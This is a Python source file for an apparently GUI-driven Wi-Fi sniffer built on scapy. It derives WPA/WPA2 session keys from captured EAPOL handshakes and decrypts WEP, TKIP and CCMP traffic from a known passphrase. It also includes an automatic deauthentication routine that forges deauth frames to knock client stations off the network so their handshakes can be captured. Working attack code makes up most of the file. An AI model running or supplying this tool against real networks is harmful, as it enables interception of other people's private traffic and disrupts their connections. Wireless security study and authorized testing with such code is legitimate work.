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Sniffer.py
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Sniffer.py
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from threading import Thread
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0
import os, struct
from Crypto.Cipher import ARC4, AES
from pbkdf2 import PBKDF2
from binascii import a2b_hex, b2a_hex, a2b_qp
import hmac,hashlib
class WPASession:
def __init__(self, sta_mac):
self.ANonce = ''
self.SNonce = ''
self.tk_key = ''
self.sta_mac = sta_mac
self.deauth_count = 0
self.is_active = False
def add_count(self):
self.deauth_count += 1
def reset_count(self):
self.deauth_count = -10
def activate(self):
if not self.is_active and self.ANonce != '' and self.SNonce != '':
self.is_active = True
return True
return False
def __PRF512(self, pmk, A, B):
ptk1 = hmac.new(pmk, a2b_qp(A)+ B + chr(0), hashlib.sha1).digest()
ptk2 = hmac.new(pmk, a2b_qp(A)+ B + chr(1), hashlib.sha1).digest()
ptk3 = hmac.new(pmk, a2b_qp(A)+ B + chr(2), hashlib.sha1).digest()
ptk4 = hmac.new(pmk, a2b_qp(A)+ B + chr(3), hashlib.sha1).digest()
return ptk1+ptk2+ptk3+ptk4[0:4]
def gernerate_ptk(self, passphrase, ssid, ap_mac):
sta_mac = a2b_hex(self.sta_mac.replace(':', ''))
ap_mac = a2b_hex(ap_mac.replace(':', ''))
ANonce = self.ANonce
SNonce = self.SNonce
psk = PBKDF2(passphrase, ssid, 4096).read(32) #pmk: psk
B = min(ap_mac, sta_mac)+max(ap_mac, sta_mac)\
+min(ANonce, SNonce)+max(ANonce, SNonce)
ptk = self.__PRF512(psk, 'Pairwise key expansion\0', B)
#KCK = ptk[0:16], KEK = ptk[16:32]
TK = ptk[32:48]
self.tk_key = TK
class Decrypter:
tkip_sbox = [
[
0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,
0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,
0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,
0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B,
0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F,
0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F,
0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5,
0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F,
0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397,
0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED,
0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A,
0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194,
0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3,
0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104,
0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D,
0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39,
0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83,
0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76,
0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4,
0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B,
0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0,
0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018,
0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751,
0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85,
0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9,
0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7,
0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A,
0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8,
0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A],
[
0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491,
0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC,
0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB,
0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B,
0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83,
0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A,
0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F,
0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA,
0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713,
0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6,
0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85,
0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411,
0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B,
0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1,
0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF,
0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E,
0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B,
0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD,
0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8,
0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2,
0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049,
0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810,
0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197,
0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F,
0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927,
0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733,
0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5,
0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0,
0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C]
]
def __S(self, i):
return self.tkip_sbox[0][i & 0xff] ^ self.tkip_sbox[1][(i >> 8)]
def __ubyte(self, data):
return (data>>8)&0xff
def __lbyte(self, data):
return data&0xff
def __ROR(self, data):
return ((data >> 1) & 0x7fff) | (data << 15);
def __combine(self, X, Y):
return (ord(X)<<8)|ord(Y)
def unwep(self, wep_pkt, passphrase):
iv = wep_pkt.iv
enc_data = wep_pkt.wepdata
rc4 = ARC4.new(iv + passphrase)
dec_data = rc4.decrypt(enc_data)
return LLC(dec_data)
def unwpa(self, wep_pkt, TK, TA):
TSCU = wep_pkt.wepdata[:4][::-1]
TSCL = wep_pkt.iv[0]+wep_pkt.iv[2]
TA = a2b_hex(TA.replace(':', ''))
#phase1_1
P1K0 = self.__combine(TSCU[0], TSCU[1]) #TSC1
P1K1 = self.__combine(TSCU[2], TSCU[3]) #TSC2
P1K2 = self.__combine(TA[1], TA[0])
P1K3 = self.__combine(TA[3], TA[2])
P1K4 = self.__combine(TA[5], TA[4])
#phase1_2
for i in range(4):
P1K0 = (P1K0 + self.__S(P1K4^self.__combine(TK[1], TK[0])))&0xffff
P1K1 = (P1K1 + self.__S(P1K0^self.__combine(TK[5], TK[4])))&0xffff
P1K2 = (P1K2 + self.__S(P1K1^self.__combine(TK[9], TK[8])))&0xffff
P1K3 = (P1K3 + self.__S(P1K2^self.__combine(TK[13],TK[12])))&0xffff
P1K4 = (P1K4 + self.__S(P1K3^self.__combine(TK[1], TK[0])) + 2*i)&0xffff
P1K0 = (P1K0 + self.__S(P1K4^self.__combine(TK[3], TK[2])))&0xffff
P1K1 = (P1K1 + self.__S(P1K0^self.__combine(TK[7], TK[6])))&0xffff
P1K2 = (P1K2 + self.__S(P1K1^self.__combine(TK[11], TK[10])))&0xffff
P1K3 = (P1K3 + self.__S(P1K2^self.__combine(TK[15], TK[14])))&0xffff
P1K4 = (P1K4 + self.__S(P1K3^self.__combine(TK[3], TK[2])) + 2*i + 1)&0xffff
#phase2_1
PPK0 = P1K0
PPK1 = P1K1
PPK2 = P1K2
PPK3 = P1K3
PPK4 = P1K4
PPK5 = (P1K4 + self.__combine(TSCL[0], TSCL[1]))&0xffff #TSC0
#phase2_2
PPK0 = (PPK0 + self.__S(PPK5 ^ self.__combine(TK[1], TK[0])))&0xffff
PPK1 = (PPK1 + self.__S(PPK0 ^ self.__combine(TK[3], TK[2])))&0xffff
PPK2 = (PPK2 + self.__S(PPK1 ^ self.__combine(TK[5], TK[4])))&0xffff
PPK3 = (PPK3 + self.__S(PPK2 ^ self.__combine(TK[7], TK[6])))&0xffff
PPK4 = (PPK4 + self.__S(PPK3 ^ self.__combine(TK[9], TK[8])))&0xffff
PPK5 = (PPK5 + self.__S(PPK4 ^ self.__combine(TK[11], TK[10])))&0xffff
PPK0 = (PPK0 + self.__ROR(PPK5 ^ self.__combine(TK[13], TK[12])))&0xffff
PPK1 = (PPK1 + self.__ROR(PPK0 ^ self.__combine(TK[15], TK[14])))&0xffff
PPK2 = (PPK2 + self.__ROR(PPK1))&0xffff
PPK3 = (PPK3 + self.__ROR(PPK2))&0xffff
PPK4 = (PPK4 + self.__ROR(PPK3))&0xffff
PPK5 = (PPK5 + self.__ROR(PPK4))&0xffff
#phase2_3
rc4_key = [0]*16
rc4_key[0] = ord(TSCL[0])
rc4_key[1] = (rc4_key[0] | 0x20) & 0x7f
rc4_key[2] = ord(TSCL[1])
rc4_key[3] = self.__lbyte((PPK5 ^ self.__combine(TK[1], TK[0])) >> 1)
rc4_key[4] = self.__lbyte(PPK0)
rc4_key[5] = self.__ubyte(PPK0)
rc4_key[6] = self.__lbyte(PPK1)
rc4_key[7] = self.__ubyte(PPK1)
rc4_key[8] = self.__lbyte(PPK2)
rc4_key[9] = self.__ubyte(PPK2)
rc4_key[10] = self.__lbyte(PPK3)
rc4_key[11] = self.__ubyte(PPK3)
rc4_key[12] = self.__lbyte(PPK4)
rc4_key[13] = self.__ubyte(PPK4)
rc4_key[14] = self.__lbyte(PPK5)
rc4_key[15] = self.__ubyte(PPK5)
rc4_key = ''.join(map(lambda x: chr(x), rc4_key))
enc_data = wep_pkt.wepdata[4:-8]
rc4 = ARC4.new(rc4_key)
dec_data = rc4.decrypt(enc_data)
print repr(dec_data)
return LLC(dec_data)
def unwpa2(self, wep_pkt, tk_key, TA):
TA = a2b_hex(TA.replace(':', ''))
PN = wep_pkt.wepdata[:4][::-1]
PN += wep_pkt.iv[:2][::-1]
Flag = '\x01'
Priority = '\x00'
#exclude 8byte CBC-MAC (4byte: wep_data[:-4] and 4byte: wep_pkt.icv)
enc_data = wep_pkt.wepdata[4:-4]
dec_data = ''
block_len = len(enc_data)/16 + (0 if len(enc_data)%16 == 0 else 1)
for i in range(block_len):
counter = Flag+Priority+TA+PN+struct.pack('>h', i+1)
cipher = AES.AESCipher(tk_key, AES.MODE_ECB)
ciphertext = cipher.encrypt(counter)
for j, echar in enumerate(enc_data[16*i:16*(i+1)]):
dec_data += chr(ord(echar)^ord(ciphertext[j]))
return LLC(dec_data)
class SniffingThread(Thread):
def __init__(self, sniffer):
Thread.__init__(self)
self.__exit = False
self.sniffer = sniffer
self.decrpyter = Decrypter()
self.session_list = []
self.ap_mac = self.sniffer.bssid
def run(self):
sniff(iface=self.sniffer.wlan.interface, store=0, prn=self.cb_sniff, stop_filter=self.cb_stop)
def __get_session(self, sta_mac):
session = filter(lambda session: session.sta_mac == sta_mac, self.session_list)
if session == []:
return False
return session[0]
def __get_active_session(self, sta_mac):
session = self.__get_session(sta_mac)
if not session and self.sniffer.deauth:
#add session for deauth
session = WPASession(sta_mac)
self.session_list.append(session)
elif session:
if session.is_active:
#decryption available
return session
elif self.sniffer.deauth:
session.add_count()
if session.deauth_count > 10:
#deauth
session.reset_count()
self.__send_deauth(sta_mac, self.ap_mac)
self.sniffer.ui.textEdit_log.append('[+] send deauth packet !! (\'%s\')' % sta_mac)
return
def __send_deauth(self, sta_mac, ap_mac):
deauth_pkt1 = Dot11(addr1=sta_mac, addr2=ap_mac, addr3=ap_mac)/Dot11Deauth()
deauth_pkt2 = Dot11(addr1=ap_mac, addr2=sta_mac, addr3=ap_mac)/Dot11Deauth()
send(deauth_pkt1, inter=0, count=1)
send(deauth_pkt2, inter=0, count=1)
def cb_sniff(self, pkt):
if pkt.haslayer(Dot11QoS):
#sta filter
if self.sniffer.sta_mac in [pkt.addr1, pkt.addr2, pkt.addr3] or self.sniffer.sta_mac == '':
#ap filter
if self.ap_mac in [pkt.addr1, pkt.addr2, pkt.addr3]:
sta_mac = pkt.addr2 if pkt.addr1 == self.ap_mac else pkt.addr1
#sniff EAPOL
if pkt.haslayer(EAPOL):
session = self.__get_session(sta_mac)
if not session:
session = WPASession(sta_mac)
self.session_list.append(session)
eapol_raw = pkt.getlayer(Raw).load
mic = eapol_raw[13+32+32:13+32+32+16]
if mic == '\x00'*16:
#eapol message1 (reset Nonce)
session.SNonce = ''
session.ANonce =''
session.is_active = False
tmp_nonce = eapol_raw[13:13+32]
if pkt.addr1 == self.ap_mac:
if session.SNonce == '' and tmp_nonce.strip('\x00') != '':
session.SNonce = tmp_nonce
else:
if session.ANonce == '' and tmp_nonce.strip('\x00') != '':
session.ANonce = tmp_nonce
if session.activate():
session.gernerate_ptk(self.sniffer.key, self.sniffer.ssid, self.ap_mac)
self.sniffer.ui.textEdit_log.append('[+] gererate TK key !! (\'%s\')' % sta_mac)
else:
#OPEN
if self.sniffer.enc == 0:
de_pkt = pkt
else:
if not pkt.haslayer(Dot11WEP):
return
wep_pkt = pkt.getlayer(Dot11WEP)
#WEP
if self.sniffer.enc == 1:
de_pkt = self.decrpyter.unwep(wep_pkt, self.sniffer.key)
else:
#session check
session = self.__get_active_session(sta_mac)
if not session:
return
#toDS, fromDS
TA = sta_mac if (pkt.FCfield & 0x1) else self.ap_mac
#WPA/TKIP
if self.sniffer.enc == 2:
de_pkt = self.decrpyter.unwpa(wep_pkt, session.tk_key, TA)
#WPA2/CCMP
elif self.sniffer.enc == 3:
de_pkt = self.decrpyter.unwpa2(wep_pkt, session.tk_key, TA)
#send packet
if de_pkt.haslayer(SNAP):
snap_data = de_pkt.getlayer(SNAP)
send_pkt = self.__make_ether(pkt, snap_data.code)/snap_data.payload
self.sniffer.send_packet(send_pkt)
def cb_stop(self, pkt):
if self.__exit:
return True
def exit(self):
self.__exit = True
def __make_ether(self, pkt, code):
to_ds = pkt.FCfield & 0x1
from_ds = pkt.FCfield & 0x2
if to_ds and from_ds:
return Ether(dst=pkt.addr1, src=pkt.addr3, type=code)
elif to_ds and (not from_ds):
return Ether(dst=pkt.addr3, src=pkt.addr2, type=code)
else:
return Ether(dst=pkt.addr1, src=pkt.addr2, type=code)
class Sniffer:
TUNSETIFF = 0x400454ca
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000
def __init__(self, ui, wlan):
self.ui = ui
self.wlan = wlan
self.sniffing_thread = None
self.sniff_fd = None
self.deauth_list = []
def __value_check(self):
self.bssid = str(self.ui.lineEdit_bssid.text())
self.sta_mac = str(self.ui.lineEdit_sta.text())
self.ssid = str(self.ui.lineEdit_ssid.text())
self.enc = self.ui.comboBox_enc.currentIndex()
self.channel = self.ui.spinBox_channel.value()
self.key = str(self.ui.lineEdit_key.text())
self.hex = False if self.ui.checkBox_hex.checkState() == 0 else True
self.deauth = False if self.ui.checkBox_deauth.checkState() == 0 else True
#wpa, wpa2 need SSID
if self.enc in [2, 3] and self.ssid == '':
return 'Invalid SSID'
if self.enc in [1, 2, 3] and self.key == '':
return 'Invalid KEY'
if self.enc == 1:
if len(self.key) not in ([10, 26] if self.hex else [5, 13] ):
return 'Invalid WEP KEY'
elif self.bssid.count('-') != 5 and self.bssid.count(':') != 5:
return 'Invalid BSSID'
elif self.sta_mac != '' and self.sta_mac.count('-') != 5 and self.sta_mac.count(':') != 5:
return 'Invalid STA MAC'
self.ui.textEdit_log.clear()
if self.ssid:
self.ui.textEdit_log.append('[*] AP SSID : %s' % self.ssid)
self.ui.textEdit_log.append('[*] AP Filter : %s' % self.bssid)
self.ui.textEdit_log.append('[*] CHANNEL : %s' % self.channel)
self.ui.textEdit_log.append('[*] ENC : %s ' % ['OPEN', 'WEP', 'WPA', 'WPA2'][self.enc])
if self.key:
self.ui.textEdit_log.append('[*] KEY : %s%s' % (self.key, ' (hex)' if self.hex else ''))
if self.sta_mac != '':
self.ui.textEdit_log.append('[*] STA Filter : %s' % self.sta_mac)
if self.deauth:
if self.enc not in [2, 3]:
self.deauth = False
else:
self.ui.textEdit_log.append('[*] Auto Deauthentication')
conf.iface = self.wlan.interface
self.ui.textEdit_log.append('')
if self.hex:
self.key = a2b_hex(self.key.decode)
def send_packet(self, pkt):
try:
os.write(self.sniff_fd, str(pkt))
except:
pass
def __set_sniffing_interface(self):
try:
self.sniff_fd = os.open('/dev/net/tun', os.O_RDWR)
ifs = ioctl(self.sniff_fd, self.TUNSETIFF, struct.pack('16sH', 'DeSniffer0', self.IFF_TAP|self.IFF_NO_PI))
ifname = ifs[:16].strip("\x00")
os.system('ifconfig %s up' % ifname)
self.ui.textEdit_log.append('[+] \'%s\' is activated ...' % ifname)
except IOError:
return 'interface is busy'
ipv6_disable_path = '/proc/sys/net/ipv6/conf/%s/' % ifname
if os.path.exists(ipv6_disable_path):
os.system('echo 1 > %s/disable_ipv6' % ipv6_disable_path)
return
def __change_channel(self):
self.ui.textEdit_log.append('[+] change channel : %s' % self.channel)
self.wlan.change_channel(self.channel)
def start(self):
status = self.__value_check()
if status != None:
return status
if not self.sniffing_thread:
#change channel
self.__change_channel()
#activate tap interface
status = self.__set_sniffing_interface()
if status != None:
return status
self.sniffing_thread = SniffingThread(self)
self.sniffing_thread.start()
def stop(self):
if self.sniffing_thread:
self.sniffing_thread.exit()
del self.sniffing_thread
self.sniffing_thread = None
if self.sniff_fd:
os.close(self.sniff_fd)
self.sniff_fd = None
self.deauth_list = []
self.ui.textEdit_log.append('[+] stopped sniffing ...')